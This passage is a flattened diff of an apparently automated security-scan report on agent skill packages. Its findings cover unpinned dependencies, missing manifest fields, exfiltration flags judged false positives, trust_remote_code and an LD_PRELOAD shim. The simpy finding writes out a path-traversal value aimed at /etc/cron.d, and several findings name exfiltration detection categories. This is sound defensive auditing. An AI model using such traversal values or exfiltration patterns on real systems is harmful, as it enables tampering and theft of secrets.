`LLM_DATA_EXFILTRATION` — Static Analyzer Flags Potential Exfiltration Patterns - Unverified+ > The pre-scan static analyzer flagged potential environment variable access with network calls (BEHAVIOR_ENV_VAR_EXFILTRATION) and cross-file exfiltration chains across 3 files (BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN, BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION). However, review of all available skill content (SKILL.md, references/workflows.md, references/theory.md, references/explainers.md, references/plots.md) reveals no malicious code patterns. The flagged files (joblib.py, xgboost.py, shap.py, mlflow.py) were not found in the skill package. These appear to be false positives from the static analyzer misidentifying Python library imports in code examples as actual script files. No actual exfiltration code was found in the reviewed content.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter, e.g., 'allowed-tools: [Python, Bash, Read, Write]', to document the intended tool scope.+ > **Remediation:** Verify that no Python script files (joblib.py, xgboost.py, shap.py, mlflow.py) exist in the skill package directory. If they do exist but were not provided for analysis, they should be reviewed for malicious content. The static analyzer may be misidentifying import statements in markdown code blocks as actual script files.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Metadata- > The skill does not specify a 'compatibility' field in its YAML manifest. This is a minor documentation gap that reduces transparency about where the skill is intended to operate.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Skill Description+ > The skill description is very broad, claiming to work with 'any black-box model', 'all model types', and covering a wide range of use cases including debugging, fairness analysis, production deployment, and MLOps integration. While this may reflect legitimate functionality, the description could trigger the skill for a very wide range of ML-related queries beyond its core SHAP functionality. The 'When to Use This Skill' section contains an extensive list of trigger phrases that could cause over-activation.> File: `SKILL.md`- > **Remediation:** Add a 'compatibility' field to the YAML frontmatter specifying supported environments (e.g., 'Claude Code, API').+ > **Remediation:** Narrow the description to focus on core SHAP functionality. Reduce the trigger phrase list to the most relevant use cases to avoid over-broad activation.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Instructions- > The SKILL.md installation section instructs users to run 'uv pip install scvi-tools' and 'uv pip install "scvi-tools[cuda]"' without pinning to a specific version in the primary commands. While the text does mention pinning as a best practice ('For reproducible environments, pin a version: uv pip install scvi-tools==1.4.3'), the primary install commands are unpinned. An unpinned install could pull in a compromised or unexpected version of the package.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation in Instructions+ > The installation instructions recommend installing packages without version pins using 'uv pip install shap' and 'uv pip install -U shap'. The '-U' flag explicitly upgrades to the latest version, which could introduce supply chain risks if the shap package or its dependencies are compromised in a future release. No version pinning is specified.> File: `SKILL.md`- > **Remediation:** Change the primary installation commands to use pinned versions, e.g., 'uv pip install scvi-tools==1.4.3' and 'uv pip install "scvi-tools[cuda]==1.4.3"', rather than leaving pinning as an optional note.+ > **Remediation:** Pin package versions in installation instructions (e.g., 'uv pip install shap==0.44.0'). Avoid recommending '-U' (upgrade to latest) without version constraints.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Multiple Missing Referenced Files- > The SKILL.md references numerous files that are not present in the skill package (e.g., templates/workflows.md, scvi.py, scanpy.py, assets/differential-expression.md, templates/models-scrna-seq.md, and many others). Missing referenced files could cause the agent to attempt to fetch them from external sources or behave unexpectedly when instructions reference non-existent resources.+- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Missing allowed-tools Declaration+ > The skill manifest does not specify an 'allowed-tools' field. The skill instructions reference use of the Read tool (for loading reference files) and Python execution (for running SHAP code). While missing allowed-tools is informational/low severity per the spec, declaring it would improve transparency about what agent capabilities this skill requires.> File: `SKILL.md`- > **Remediation:** Ensure all files referenced in SKILL.md instructions are included in the skill package, or remove references to files that do not exist. Audit the full list of referenced files and include them or update the instructions accordingly.+ > **Remediation:** Add an explicit 'allowed-tools' declaration to the YAML frontmatter listing the tools this skill requires (e.g., [Read, Python, Bash]).### simpy — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill does not declare an 'allowed-tools' field in its YAML manifest. While this is optional per the agent skills spec, it means there are no declared restrictions on which agent tools can be used. The scripts write CSV files to disk and perform file I/O operations, which would benefit from explicit tool declarations for transparency.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field+ > The SKILL.md manifest does not specify the 'allowed-tools' field. While this is optional per the agent skills spec, documenting which tools are used (Python, Bash, Write for CSV export) would improve transparency and help agents enforce appropriate restrictions.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML manifest listing the tools actually used, e.g., allowed-tools: [Python, Bash, Read, Write]+ > **Remediation:** Add 'allowed-tools: [Python]' to the YAML frontmatter to explicitly declare the tools this skill uses.-### stable-baselines3 — 🔵 LOW--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Unpinned Dependency Versions in Installation Instructions- > The skill instructs users to install stable-baselines3 with a minimum version constraint (>=2.8) rather than an exact pinned version. This means a future compromised or malicious release of the package could be automatically installed. While this is a common practice for documentation, it represents a supply chain risk in automated environments.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field+ > The SKILL.md manifest does not specify the 'compatibility' field, leaving it unclear which agent environments this skill is designed to work with.> File: `SKILL.md`- > **Remediation:** Consider pinning to an exact version (e.g., stable-baselines3==2.8.0) in production environments, or at minimum document the risk of unpinned dependencies.+ > **Remediation:** Add a 'compatibility' field to the YAML frontmatter specifying supported environments (e.g., 'Claude.ai, Claude Code, API').-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Exact Version Pins for All Dependencies- > The skill references optional extras (ale-py, TensorBoard, gymnasium[mujoco]) without pinned versions. In automated or CI/CD pipelines, this could result in installation of unvetted package versions. The sb3-contrib package is also referenced without version pinning.- > File: `SKILL.md`- > **Remediation:** Pin all dependency versions explicitly. Document tested version combinations in a requirements.txt or pyproject.toml with exact versions.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded While-True Loops in Generator Processes+ > Multiple process generator functions in the template and reference documentation use unbounded 'while True:' loops (customer_generator, producer, consumer, etc.). If env.run() is called without an 'until' parameter, these loops will run indefinitely, consuming CPU until the process is killed. The template's main() function does pass 'until=sim_time', but the pattern is pervasive and could be misused.+ > File: `scripts/basic_simulation_template.py:100`+ > **Remediation:** Document clearly that env.run() must always be called with an 'until' parameter when using unbounded generator processes. Consider adding a guard in customer_generator to stop after a maximum number of customers or time limit.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — CSV Export Writes Files to Disk Without Path Validation+ > The ResourceMonitor.export_csv() method and the monitoring reference documentation write CSV files to disk using a caller-supplied filename. While this is a legitimate simulation feature, there is no path validation or sandboxing, meaning a caller could supply an absolute path or path traversal sequence (e.g., '../../etc/cron.d/malicious') to write files outside the intended output directory.+ > File: `scripts/resource_monitor.py:196`+ > **Remediation:** Validate the filename parameter to ensure it is a relative path within an expected output directory. Use os.path.basename() or pathlib to sanitize the path, or restrict output to a designated results directory.### statistical-analysis — 🔵 LOW- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Versions in Installation Instructions- > The SKILL.md installation instructions recommend unpinned or loosely-pinned package versions (e.g., 'pingouin>=0.6', 'scipy>=1.11', 'statsmodels>=0.14.6', 'pymc>=5.0', 'arviz>=0.17'). While the instructions acknowledge that 'unpinned installs are fine for exploration,' this practice in a skill context could allow future malicious or breaking package versions to be installed automatically. Supply chain attacks via PyPI are a known vector.+ > The SKILL.md installation instructions use range specifiers (>=) rather than exact pinned versions for all dependencies. This means the skill could install different package versions over time, potentially introducing breaking changes or supply chain vulnerabilities if a package is compromised. Packages affected include pingouin, scipy, statsmodels, pandas, matplotlib, seaborn, pymc, and arviz.> File: `SKILL.md`- > **Remediation:** Pin all dependencies to exact versions (e.g., pingouin==0.6.0) for production use. The skill itself acknowledges this but should enforce it more strongly or provide a pinned requirements.txt file.--### statsmodels — 🔵 LOW--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Metadata- > The skill does not specify the 'allowed-tools' field in its YAML manifest. While this is optional per the agent skills spec, documenting which tools are required (Python, Bash, Read, etc.) improves transparency and allows the agent runtime to enforce capability restrictions.- > File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter listing only the tools actually needed, e.g., allowed-tools: [Python, Read].+ > **Remediation:** Pin all dependencies to exact versions (e.g., pingouin==0.6.0, scipy==1.11.0) in production environments. The skill itself acknowledges this: 'Pin versions in production; unpinned installs are fine for exploration.' Consider providing a requirements.txt or pyproject.toml with pinned versions for reproducibility and security.### sympy — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Several Referenced Files Are Missing from the Skill Package- > The SKILL.md instructions reference numerous files that do not exist in the skill package: templates/core-capabilities.md, matplotlib.py, templates/advanced-topics.md, assets/physics-mechanics.md, sympy.py, templates/matrices-linear-algebra.md, scipy.py, assets/core-capabilities.md, assets/code-generation-printing.md, assets/matrices-linear-algebra.md, templates/code-generation-printing.md, templates/physics-mechanics.md, assets/advanced-topics.md. This creates a discrepancy between the manifest's claimed capabilities and the actual available resources, potentially causing the agent to behave unexpectedly when trying to load non-existent reference files.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Multiple Unresolved Reference Files May Indicate Incomplete Package+ > The skill references numerous files across multiple directory paths (references/, assets/, templates/) that do not exist in the package (e.g., assets/code-generation-printing.md, templates/core-capabilities.md, sympy.py, matplotlib.py, scipy.py, etc.). While some reference files are present and benign, the large number of missing files across inconsistent directory structures is unusual and may indicate an incomplete or poorly maintained package. No malicious content was found in the files that do exist.> File: `SKILL.md`- > **Remediation:** Remove references to non-existent files from SKILL.md, or include the missing files in the skill package. Ensure the skill package is complete and self-consistent.+ > **Remediation:** Audit and clean up the reference file structure. Remove references to non-existent files or add the missing files. Consolidate to a single references/ directory for consistency.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Code Generation Patterns May Encourage Unsafe eval Usage- > The references/code-generation-printing.md file documents a pattern using sympify(srepr(expr)) as a 'round-trip' reconstruction method. While the file warns against using eval() on srepr() output, the documentation also shows lambdify and autowrap patterns that compile and execute generated code. If an agent applies these patterns to user-controlled symbolic expressions, it could result in arbitrary code execution via the underlying eval/compile mechanisms in lambdify or autowrap.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — parse_expr() Security Warning Documented but Pattern Still Present+ > The references/code-generation-printing.md file correctly documents that parse_expr() uses eval internally and warns against using it on unsanitized user input. However, the file still includes example code patterns showing parse_expr() usage and a 'Pattern 3: Interactive Computation' that accepts input via a function. While the security warning is present and the example includes a validation function, the pattern could be misapplied by agents following the examples without fully reading the warnings. The static analyzer flagged potential environment variable exfiltration and cross-file exfiltration chains, but review of all available file content found no actual exfiltration code — these appear to be false positives from the static analyzer given the educational/reference nature of the content.> File: `references/code-generation-printing.md`- > **Remediation:** Add explicit guidance that lambdify, autowrap, and ufuncify should only be used with symbolically-constructed expressions (not expressions derived from user string input). Emphasize that the expression passed to these functions must originate from trusted SymPy symbol operations, not from parsed user strings.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — parse_expr() Security Warning Noted but Incomplete Guidance- > The references/code-generation-printing.md file includes a security warning about parse_expr() using eval internally and advises against using it on unsanitized user input. While the warning is present and helpful, the guidance in Pattern 3 still includes a regex-based validation that is incomplete (e.g., the regex rejects '(' which would break most math expressions). The skill instructs the agent to use parse_expr() in interactive computation patterns, which could lead to code injection if the agent applies these patterns to user-supplied input without proper validation.- > File: `references/code-generation-printing.md`- > **Remediation:** The validation regex rejects '(' which would block virtually all valid math expressions (e.g., 'sin(x)', 'sqrt(x)'). This is likely a bug in the example. The skill should either remove this interactive parsing pattern entirely or provide a correct, safe validation approach. Consider using SymPy's sympify with a strict local_dict and no eval fallback instead of parse_expr().+ > **Remediation:** The existing security warning is good. Consider moving the parse_expr examples to a clearly marked 'Advanced/Trusted Use Only' section and ensuring the validation function is more prominently featured before any usage examples. The regex filter `r'__|import|=|\('` blocks parentheses which would break most math expressions — review the validation logic for correctness.### timesfm-forecasting — 🔵 LOW- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Versions in Installation Instructions- > The SKILL.md installation instructions use unpinned or loosely-pinned package versions: 'pip install timesfm[torch]', 'pip install torch>=2.0.0'. These do not pin to specific versions, which could allow a supply chain compromise if a malicious version of timesfm or torch is published to PyPI. The risk is mitigated by the fact that these are well-known packages from Google Research and Meta/PyTorch, but best practice is to pin versions.+ > The SKILL.md installation instructions recommend installing timesfm and torch with unpinned or loosely-pinned versions (e.g., 'pip install timesfm[torch]', 'pip install torch>=2.0.0'). This exposes users to supply chain risk: a compromised or malicious future version of these packages could be installed automatically. The risk is moderate given these are well-known packages (Google's timesfm, PyTorch), but best practice requires pinned versions.> File: `SKILL.md`- > **Remediation:** Pin package versions in installation instructions, e.g., 'pip install timesfm[torch]==2.5.0' and 'pip install torch==2.4.1'. Consider providing a requirements.txt or pyproject.toml with pinned versions.+ > **Remediation:** Pin package versions in installation instructions, e.g., 'pip install timesfm[torch]==2.5.0' and 'pip install torch==2.4.1'. Consider providing a requirements.txt or pyproject.toml with exact version pins and hashes for reproducible installs.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access (HF_HOME) with Network Activity- > The skill reads the HF_HOME environment variable in check_system.py to determine the Hugging Face cache directory, and multiple scripts make network calls to download model weights from Hugging Face Hub (google/timesfm-*). While this is standard and expected behavior for a model-loading skill, the static analyzer flagged the combination of env var access + network calls. The env var is used only for cache path resolution, not for credential harvesting, and the network calls go to the well-known huggingface.co domain for legitimate model downloads. This is LOW severity as it is expected behavior for this type of skill, but worth noting for transparency.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — External CDN Script Loaded in Generated HTML+ > The generate_html.py script embeds a Chart.js script tag loading from an external CDN (cdn.jsdelivr.net) in the generated HTML file. While this is a visualization helper and not a core skill component, the generated HTML will make an outbound network request to a third-party CDN when opened in a browser. If the CDN is compromised or the URL is manipulated, malicious JavaScript could be executed in the user's browser context.+ > File: `examples/global-temperature/generate_html.py`+ > **Remediation:** Bundle Chart.js locally within the skill package and embed it inline in the generated HTML, or use a subresource integrity (SRI) hash: <script src="https://cdn.jsdelivr.net/npm/chart.js" integrity="sha384-..." crossorigin="anonymous"></script>. This prevents CDN-based script injection.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access (HF_HOME) in System Checker+ > The check_system.py script reads the HF_HOME environment variable to determine the Hugging Face cache directory. While this is a standard and expected pattern for Hugging Face tooling, the static analyzer flagged it as part of a cross-file env var exfiltration chain. In context, this is benign: the value is only used to determine a local disk path for the shutil.disk_usage() call and is never transmitted externally. No actual exfiltration occurs. Flagged as LOW for awareness.> File: `scripts/check_system.py`- > **Remediation:** No remediation required. The HF_HOME env var is used only for cache path resolution. Verify that the Hugging Face model download URLs remain pointed at official google/* repositories and are not user-configurable without validation.+ > **Remediation:** No remediation required. The HF_HOME variable is used solely for local disk space checking, consistent with standard Hugging Face tooling conventions. Document this usage in comments to clarify intent for future reviewers.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — --skip-check Flag Bypasses Mandatory Safety Preflight- > The forecast_csv.py script includes a --skip-check flag that allows bypassing the mandatory system preflight check. The SKILL.md explicitly states the preflight check is 'CRITICAL — ALWAYS run the system checker before loading the model for the first time.' Providing an easy bypass mechanism could lead to model loading on under-resourced machines, potentially causing system instability or crashes.+- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — --skip-check Flag Allows Bypassing Mandatory Preflight Safety Check+ > The forecast_csv.py script includes a --skip-check argument that allows users to bypass the mandatory system preflight check. The SKILL.md documentation explicitly marks the preflight check as 'CRITICAL — ALWAYS run the system checker before loading the model for the first time.' Providing an easy bypass flag undermines this safety control and could lead to model loading on under-resourced machines, causing crashes or system instability.> File: `scripts/forecast_csv.py`- > **Remediation:** Consider removing the --skip-check flag entirely, or at minimum requiring an explicit acknowledgment (e.g., --skip-check --i-know-what-im-doing) and logging a prominent warning. The preflight check is lightweight and should not be skippable in normal workflows.+ > **Remediation:** Consider removing the --skip-check flag entirely, or at minimum requiring an explicit acknowledgment (e.g., --skip-check --i-understand-the-risks) and logging a prominent warning. The preflight check is lightweight and should not be skippable in normal usage.### torch-geometric — 🔵 LOW- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration- > The skill does not declare an 'allowed-tools' field in its YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) this skill may invoke. Given the skill instructs the agent to run bash and Python code blocks, explicit tool declarations would improve transparency.+ > The SKILL.md manifest does not specify an 'allowed-tools' field. While this is optional per the agent skills spec, documenting which tools the skill requires improves transparency and allows the agent runtime to enforce capability boundaries. The skill references multiple external files and instructs installation of packages, so declaring expected tools (e.g., Bash, Python) would be appropriate.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter, e.g., 'allowed-tools: [Bash, Python, Read]', to document the intended tool scope.+ > **Remediation:** Add an 'allowed-tools' field to the YAML frontmatter listing the tools this skill requires, e.g., 'allowed-tools: [Bash, Python]'.-### torchdrug — 🔵 LOW+### transformers — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Metadata- > The skill does not declare an 'allowed-tools' field in its YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) this skill may invoke. Given the skill references numerous Python files and external libraries, documenting intended tool usage would improve transparency.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — HF_TOKEN Environment Variable Guidance Could Encourage Insecure Practices+ > The SKILL.md instructions include guidance on setting HF_TOKEN via 'export HF_TOKEN="..."' in the environment. While the instructions do warn against committing tokens to git or shell profiles, the inline export example could be misused. The instructions also reference reading tokens from a secret manager but do not enforce this. This is a documentation-level concern rather than a code-level vulnerability.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter listing only the tools required for this skill's operation, e.g., allowed-tools: [Read, Python].+ > **Remediation:** Strengthen the guidance by removing the bare export example and replacing it with a concrete secret manager pattern (e.g., using 'op run', 'vault', or a .env file excluded from version control). Emphasize that tokens should never be pasted inline.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Metadata- > The skill does not specify a 'compatibility' field in its YAML manifest. This is a minor documentation gap that reduces transparency about where the skill is intended to operate.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — trust_remote_code=True Usage Without Sufficient Safeguards+ > The SKILL.md instructions mention using 'trust_remote_code=True' for gated or custom architectures, with only a brief note to review the model card. This parameter allows arbitrary Python code from the Hugging Face Hub to execute in the user's environment. While the instruction says to use it 'only when the model card requires custom code you have reviewed', there is no enforcement mechanism or stronger warning about the security implications.> File: `SKILL.md`- > **Remediation:** Add a 'compatibility' field to the YAML frontmatter specifying the intended environments (e.g., Claude.ai, Claude Code, API).+ > **Remediation:** Add a prominent security warning about trust_remote_code=True, explaining that it allows arbitrary code execution from the model repository. Recommend sandboxing or code review steps before enabling this flag, and suggest using it only in isolated environments.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Installation via External Index- > The installation instructions use 'uv pip install torch-scatter torch-cluster -f https://pytorch-geometric.com/whl/torch-2.0.0+cu118.html' which fetches wheels from an external third-party URL. While a version is specified for torchdrug (0.2.1), the torch-scatter and torch-cluster packages are fetched from a non-PyPI source without cryptographic verification. A compromised or typosquatted wheel at that URL could introduce malicious code into the user's environment.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration+ > The skill does not specify an 'allowed-tools' field in its YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) this skill may invoke. Given the skill's scope (model loading, training, inference), explicit tool declarations would improve transparency.> File: `SKILL.md`- > **Remediation:** Pin exact versions for torch-scatter and torch-cluster (e.g., torch-scatter==2.1.1), verify wheel hashes using --require-hashes, and document the expected hash values. Consider using the official PyPI packages where available.+ > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter, e.g., 'allowed-tools: [Python, Bash]', to document the intended tool usage scope.-### usfiscaldata — 🔵 LOW+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Versions in Installation Instructions+ > The installation commands use minimum-version constraints (e.g., 'transformers[torch]>=5.9') rather than exact pinned versions. This allows supply chain substitution attacks where a maliciously updated package version could be installed. The skill references transformers 5.9.x as stable but does not enforce exact pinning.+ > File: `SKILL.md`+ > **Remediation:** Pin all dependencies to exact versions (e.g., 'transformers[torch]==5.9.0') or provide a requirements.txt/pyproject.toml with pinned hashes. This prevents unintended upgrades to potentially compromised package versions.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Files (templates/ and assets/ directories)- > The SKILL.md references numerous files in templates/ and assets/ directories (e.g., templates/datasets-securities.md, assets/api-basics.md, templates/parameters.md, etc.) that are not found in the skill package. While the references/ directory files are present and benign, the missing files could indicate an incomplete package or that the skill may attempt to load content from unexpected locations at runtime.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Multiple Referenced Files Not Found in Skill Package+ > The skill references numerous files (assets/generation.md, assets/pipelines.md, templates/models.md, assets/tokenizers.md, templates/pipelines.md, templates/generation.md, templates/tokenizers.md, huggingface_hub.py, templates/training.md, transformers.py, assets/models.md, assets/training.md) that are not present in the skill package. Missing files could indicate an incomplete package or that the skill relies on external or dynamically fetched resources. The Python files huggingface_hub.py and transformers.py are particularly notable as missing executable scripts.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package, or remove references to non-existent files from SKILL.md to prevent confusion or unexpected behavior.+ > **Remediation:** Ensure all referenced files are bundled within the skill package. If huggingface_hub.py and transformers.py are intended as executable scripts, include them and review their contents for security issues. Remove references to files that are not part of the package.++### usfiscaldata — 🔵 LOW- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field in Manifest- > The YAML manifest does not specify a 'compatibility' field, which is listed as 'Not specified'. While this is a minor documentation gap, it means users cannot easily determine which platforms or environments this skill is designed to work with.+ > The YAML manifest does not specify a 'compatibility' field, which is listed as 'Not specified'. While this is a minor documentation issue, it reduces transparency about where the skill is intended to operate.> File: `SKILL.md`- > **Remediation:** Add a compatibility field to the YAML frontmatter specifying supported platforms (e.g., 'Works in Claude.ai, Claude Code, API').+ > **Remediation:** Add a compatibility field specifying supported environments, e.g., 'compatibility: Claude.ai, Claude Code, API'.-### vaex — 🔵 LOW+### xlsx — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description May Trigger Unintended Activation- > The skill description is very broad, claiming to handle 'billions of rows', 'gigabytes to terabytes', 'astronomical data, financial time series, or other large-scale scientific datasets', and multiple file formats. While this is largely accurate for the vaex library, the description could cause the skill to be activated for a wide range of data tasks that might be better served by simpler tools. The 'When to Use This Skill' section does provide some disambiguation guidance (vs polars, dask), which mitigates this concern.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Restriction for Python Execution+ > The skill declares allowed-tools as 'Read Write Edit Bash Grep Glob' but the skill extensively uses Python (openpyxl, pandas, subprocess calls via recalc.py). Python execution is not listed in allowed-tools. While 'allowed-tools' is an optional field and its absence is informational, declaring it without Python while the skill's core functionality requires Python execution creates a mismatch between declared and actual tool usage. This is a documentation/manifest inconsistency rather than a security threat.> File: `SKILL.md`- > **Remediation:** The existing disambiguation section (Vaex vs alternatives) is good practice. Consider tightening the primary description to be more specific about the out-of-core/exceeds-RAM use case to reduce false activations.+ > **Remediation:** Add 'Python' to the allowed-tools list to accurately reflect the skill's requirements: 'allowed-tools: Read Write Edit Bash Grep Glob Python'. This ensures the manifest accurately describes the skill's capabilities.- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Instructions- > The skill instructs installation of vaex and related packages (s3fs, gcsfs, adlfs) without pinning to specific versions. The YAML manifest specifies 'vaex 4.19.0' in the compatibility field but the install commands do not enforce this version. Unpinned installs could result in installing a compromised or incompatible future version of these packages.+ > The SKILL.md instructions recommend installing packages using 'uv pip install openpyxl pandas' and optionally 'uv pip install python-calamine' and 'uv pip install defusedxml' without version pins. Unpinned installations are vulnerable to supply chain attacks where a malicious version of a package could be published and automatically installed. The instructions do mention the current stable openpyxl version (3.1.5) in a comment but do not enforce it in the install command.> File: `SKILL.md`- > **Remediation:** Pin package versions in install commands, e.g., 'uv pip install vaex==4.19.0'. At minimum, document the tested/recommended version for each optional dependency.+ > **Remediation:** Pin package versions in installation instructions: 'uv pip install openpyxl==3.1.5 pandas==2.2.x defusedxml==0.7.1 python-calamine==0.x.x'. Consider providing a requirements.txt or pyproject.toml with pinned versions bundled with the skill package.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cloud Credential Handling Documentation Without Security Warnings- > The io_operations.md reference file documents passing explicit AWS access keys and secrets directly in code via fs_options or s3fs.S3FileSystem constructor parameters. While this is a legitimate API pattern, the documentation does not warn users about the risks of hardcoding credentials in scripts or notebooks. The static analyzer flagged environment variable access with network calls, which aligns with the cloud I/O patterns documented here.- > File: `references/io_operations.md`- > **Remediation:** Add security guidance in the cloud I/O section recommending use of IAM roles, environment variables, or credential files rather than hardcoded keys. Add a note warning against embedding literal credentials in code examples.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Database Password Exposed in Connection String Example- > The machine_learning.md and io_operations.md reference files contain example SQLAlchemy connection strings with plaintext username and password placeholders. While these are placeholder values, they model an insecure pattern that users may replicate with real credentials.- > File: `references/io_operations.md`- > **Remediation:** Replace the inline credential pattern with environment variable usage: e.g., 'create_engine(f"postgresql://{os.environ[\"DB_USER\"]}:{os.environ[\"DB_PASS\"]}@host:port/db")'. Add a note discouraging hardcoded credentials.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Dynamic C Code Compilation and LD_PRELOAD Injection+ > The soffice.py script compiles a C shim at runtime using gcc and injects it via LD_PRELOAD into LibreOffice processes. While the C source is hardcoded within the Python file (not fetched externally), this pattern is inherently risky: it writes C source to disk, compiles it, and loads the resulting shared library into a subprocess. The shim intercepts socket(), listen(), accept(), and close() system calls. If an attacker could modify _SHIM_SOURCE or the compiled .so file (e.g., via a path traversal or race condition), they could inject arbitrary code into LibreOffice. The cache directory (~/.cache/xlsx-skill/lo-shim/) is set to mode 0700 which mitigates most risks. The hash verification provides integrity checking.+ > File: `scripts/office/soffice.py`+ > **Remediation:** This is a legitimate technical workaround for sandboxed environments. Ensure the shim directory permissions (0700) are enforced before writing. Consider adding a check that gcc is not user-controlled. The existing SHA-256 hash verification of the compiled .so is good practice and should be maintained.-### what-if-oracle — 🔵 LOW+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Selective Environment Variable Filtering in LibreOffice Helper+ > The get_soffice_env() function in scripts/office/soffice.py constructs a minimal environment for LibreOffice by explicitly whitelisting specific environment variable keys (PATH, HOME, LANG, LC_ALL, LC_CTYPE, TMPDIR, TMP, TEMP, USER). This is actually a security-positive pattern — it avoids passing secrets from os.environ to the subprocess. The static analyzer flagged this as 'env var exfiltration with network calls', but the network calls are local LibreOffice IPC (Unix sockets or socketpair shim), not external network destinations. No credentials or sensitive env vars are transmitted externally. This is a low-severity informational finding: the pattern is correct but worth noting that any future additions to _SOFFICE_ENV_KEYS should be reviewed carefully.+ > File: `scripts/office/soffice.py`+ > **Remediation:** No action required. The current implementation is intentionally restrictive. Document this design decision explicitly in code comments to prevent future developers from inadvertently expanding the whitelist to include sensitive variables like AWS_SECRET_ACCESS_KEY, API_KEY, etc.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Pre-Scan Flags Indicate Potential Exfiltration Patterns in Unreported Scripts- > The static pre-scan context reports findings of BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls) and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files, despite the skill submission reporting 'No script files found.' This discrepancy suggests either the static analyzer scanned a broader skill package context containing Python scripts not surfaced in this submission, or the file inventory (33 total files: 16 markdown, 5 Python, 12 other) was not fully provided for review. The 5 Python files flagged in the inventory were not included in the analysis input, preventing direct verification of the exfiltration chain.- > File: `SKILL.md`- > **Remediation:** Provide all Python script files for full review. Investigate the flagged Python files for environment variable harvesting (os.environ, os.getenv) combined with outbound network calls (requests, urllib, http.client). If confirmed, remove or sandbox any data exfiltration patterns immediately.+### zarr-python — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Unverifiable Research DOI Claims in Skill Description- > The skill references two DOI-linked research papers (10.5281/zenodo.18736841 and 10.5281/zenodo.18807387) to lend academic credibility to its methodology (the 'What-If Paradigm' and 'IDNA v2 / Unified Digital Consciousness Theory'). These DOIs appear to be self-published Zenodo preprints by the skill author. While not inherently malicious, citing unreviewed self-published work as foundational 'research' to inflate the perceived authority and trustworthiness of the skill constitutes mild capability inflation. Users may over-trust the analytical framework based on the appearance of academic legitimacy.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Static Analyzer Flags Potential Environment Variable Exfiltration Chain+ > The pre-scan static analyzer reported BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files. However, none of the visible skill content (SKILL.md, references/api_reference.md, 